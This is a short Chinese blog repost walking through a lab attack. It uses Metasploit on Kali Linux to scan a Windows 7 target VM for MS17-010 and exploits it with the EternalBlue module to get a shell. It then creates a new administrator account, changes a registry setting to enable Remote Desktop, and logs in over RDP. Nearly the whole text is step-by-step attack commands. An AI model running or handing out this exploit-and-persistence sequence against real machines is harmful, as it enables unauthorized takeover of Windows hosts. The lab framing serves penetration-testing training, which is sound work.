------------恢复内容开始------------
① 登录kali 提升root权限
sudo su //提权root kali //输入密码 cd ~ //切换根目录
② 登录Kali Linux，进入MSF框架，搜索ms17-010代码
msfconsole
msf > search ms17_010
③ 使用ms17-010扫描模块，对靶机Win7进行扫描
msf > use 1 //使用auxiliary/scanner/smb/smb_ms17_010扫描模块 msf auxiliary(smb_ms17_010) > set RHOSTS 192.168.127.131 //设置目标IP或网段 msf auxiliary(smb_ms17_010) > run //执行扫描
从截图可以看到，扫描模块发现Win7存在漏洞风险
④ 使用ms17-010渗透模块，对靶机Win7进行渗透
msf > use 2 //使用exploit/windows/smb/ms17_010_eternalblue渗透模块
msf exploit(ms17_010_eternalblue) > show options //查看可设置的选项
msf exploit(ms17_010_eternalblue) > set RHOST 192.168.127.131 //设置渗透目标ip
msf exploit(ms17_010_eternalblue) > exploit //执行渗透
从最终效果来看，此时Kali Linux通过MS17-010渗透代码，直接拿到Win7的Shell，之后便可以通过Shell对目标靶机WIN7进行控制。
⑤ 通过Shell对靶机Win7进行控制
net user xxxx xxxx /add //创建用户名密码xxxx/xxxx net localgroup administrators xxxx /add //将用户xxxx添加入管理组 REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f //开启远程桌面功能 rdesktop 192.168.127.131:3389 //Kali远程桌面连接Win7
可以看到，最终Kali通过shell新建了用户，并通过远程桌面连接到目标靶机上.
内容来源于网络如有侵权请私信删除
文章来源: 博客园
- 还没有人评论，欢迎说说您的想法！
客服
